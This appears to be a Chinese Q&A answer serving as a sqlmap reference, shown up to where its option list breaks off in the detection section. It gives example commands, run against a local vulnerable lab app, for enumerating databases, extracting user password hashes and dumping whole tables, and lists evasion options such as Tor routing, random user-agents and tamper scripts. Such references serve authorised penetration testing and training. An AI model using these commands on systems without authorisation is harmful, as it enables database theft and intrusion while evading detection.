sqlmap参数大全|sqlmap命令详解

sqlmap参数大全|sqlmap命令详解
最新回答
温屿

2026-05-22 10:44:13

sqlmap参数大全及命令详解

一、基本命令

  1. 查看版本

    sqlmap.py --version

  2. 查看帮助

    sqlmap.py --help

    sqlmap.py -h(简短帮助)

    sqlmap.py -hh(详细帮助)

  3. 测试URL是否有注入的可能

    sqlmap.py -u

    http://127.0.0.1/btslab/vulnerability/ForumPosts.php?id=1

  4. 不询问用户,使用所有默认的配置(可能触发WAF告警)

    sqlmap.py -u

    http://127.0.0.1/btslab/vulnerability/ForumPosts.php?id=1
    --batch

二、数据库枚举

  1. 暴库(列出所有数据库)

    sqlmap.py -u

    http://127.0.0.1/btslab/vulnerability/ForumPosts.php?id=1
    --dbs

  2. 当前使用的数据库

    sqlmap.py -u

    http://127.0.0.1/btslab/vulnerability/ForumPosts.php?id=1
    --current-db

  3. 当前使用数据库的用户

    sqlmap.py -u

    http://127.0.0.1/btslab/vulnerability/ForumPosts.php?id=1
    --current-user

  4. 列出数据库所有的用户

    sqlmap.py -u

    http://127.0.0.1/btslab/vulnerability/ForumPosts.php?id=1
    --users

  5. 列出数据库的用户和密码

    sqlmap.py -u

    http://127.0.0.1/btslab/vulnerability/ForumPosts.php?id=1
    --passwords

  6. 列出数据库中所有的表

    sqlmap.py -u

    http://127.0.0.1/btslab/vulnerability/ForumPosts.php?id=1
    --tables -D bts

  7. 列出数据库bts特定表users的结构(所有字段)

    sqlmap.py -u

    http://127.0.0.1/btslab/vulnerability/ForumPosts.php?id=1
    --columns -D bts -T users

  8. 脱裤(数据库bts,表users,字段username和password)

    sqlmap.py -u

    http://127.0.0.1/btslab/vulnerability/ForumPosts.php?id=1
    --dump -D bts -T users -C "username,password"

  9. 脱裤(整个数据库)

    sqlmap.py -u

    http://127.0.0.1/btslab/vulnerability/ForumPosts.php?id=1
    --dump-all

三、选项(Options)

  • 版本与帮助

    --version:显示当前sqlmap的版本号

    -h,--help:显示帮助信息

    -hh:显示详细的帮助信息

  • 目标(Target)

    -d DIRECT:直接连接到数据库

    -u URL,--url=URL:目标地址(URL)

    -l LOGFILE:从Burp或WebScarab代理的日志中解析目标

    -x SITEMAPURL:从一个XML文件中解析目标

    -m BULKFILE:扫描文本文件中的多个目标

    -r REQUESTFILE:从文件中导入HTTP请求(通常用于检查POST请求中的SQL注入)

    -g GOOGLEDORK:处理Google Dork的结果作为目标URL

    -c CONFIGFILE:从ini文件中加载选项

  • 请求(Request)

    --method=METHOD:强制指定HTTP方法(如PUT)

    --data=DATA:指定POST请求的参数

    --param-del=PARAMDEL:指定参数的分隔符(如:&)

    --cookie=COOKIE:指定HTTP请求的Cookie

    --cookie-del=COOKIEDEL:指定Cookie的分隔符(如:分号;)

    --load-cookies=LOADCOOKIES:指定以Netscape或wget且包含cookie的文件

    --drop-set-cookie:忽略返回包中的Set-Cookie字段

    --user-agent:指定HTTP头部的user-agent值

    --random-agent:设置随机的HTTP User-Agent

    --host=HOST:指定HTTP头部的host值

    --referer=REFERER:指定HTTP头部中的referer值

    -H=HEADER,--headers=HEADERS:指定HTTP其他头部信息

    --auth-type=AUTHTYPE:指定HTTP的认证类型(Basic,Digest,NTLM,PKI)

    --auth-cred=AUTHCRED:指定HTTP认证凭证(name:password)

    --auth-file=AUTHFILE:指定HTTP认证PEM认证/私钥文件

    --ignore-code=IGNORECODE:忽略指定的HTTP错误码(如:401)

    --ignore-proxy:忽略系统默认代理

    --ignore-redirects:忽略重定向尝试

    --ignore-timeouts:忽略连接超时

    --proxy=PROXY:指定代理地址

    --proxy-cred=PROXYCRED:指定代理认证凭据(name:password)

    --proxy-file=PROXYFILE:从指定文件中加载代理数据

    --tor:使用tor匿名网络

    --tor-port=TORPORT:设置TOR代理的端口(修改默认端口)

    --tor-type=TORTYPE:设置TOR代理的类型(HTTP,SOCKS4,SOCKS5默认)

    --check-tor:检查tor能否正常使用

    --delay=DELAY:设置每个HTTP请求的间隔时间(单位:秒)

    --timeout=TIMEOUT:设置超时连接前等待的时间(单位:秒)

    --retries=RETRIES:设置连接超时重新尝试的次数(默认为3)

    --randomize=RPARAM:随机更改给定参数的值

    --safe-url=SAFEURL:指定在测试期间频繁访问的URL

    --safe-post=SAFEPOST:POST数据发送到安全URL

    --safe-req=SAFEREQ:从文件中加载HTTP请求

    --safe-freq=SAFEFREQ:在两次访问安全网址之间的测试请求

    --skip-urlencode:跳过经过URL编码的payload数据

    --csrf-token=CSRFTOKEN:指定CSRF-TOKEN值

    --csrf-url=CSRFURL:指定提取CSRF-TOKEN的URL值

    --force-ssl:强制使用SSL协议

    --hpp:使用HTTP参数pollution的方法

    --eval:评估请求之前提供Python代码

  • 优化(Optimization)

    -o:开启所有优化开关

    --predict-output:预测常见的查询输出

    --keep-alive:使用持久的HTTP(S)连接

    --null-connection:从没有实际的HTTP响应体中检索页面长度

    --threads=THREADS:设置请求的并发数

  • 注入(Injection)

    -p TESTPARAMETER:指定需要测试的参数

    --skip=SKIP:跳过指定参数的测试

    --skip-static:跳过非动态参数的测试

    --param-exclude=PARAMEXCLUDE:使用正则排除要测试的参数

    --dbms=DBMS:强制指定数据库管理系统的类型

    --dbms-cred=DBMSCRED:指定DBMS认证凭证(name:password)

    --os=OS:指定后端DBMS的操作系统

    --invalid-logical:使用大数字使值无效

    --invalid-string:使用随机字符串使值无效

    --no-cast:关闭有效载荷

    --no-escape:关闭字符串转义机制

    --prefix=PREFIX:注入payload字符串前缀

    --suffix=SUFFIX:注入payload字符串后缀

    --tamper=TAMPER:使用给定脚本篡改注入数据

  • 检测(Detection)

    --level=LEVEL:指定执行检测的等级(1-5,默认为1)

    --risk=RISK:指定执行检测的风险(1-5,默认为1)

    --string=STRING:查询有效时在页面匹配字符串

    --not-string=NOTSTRING:查询无效时在页面匹配字符串

    --regexp=REGEXP:查询有效时在页面匹配正则表达式

    --code=CODE:查询有效时匹配的HTTP返回码

    --text-only:基于文本内容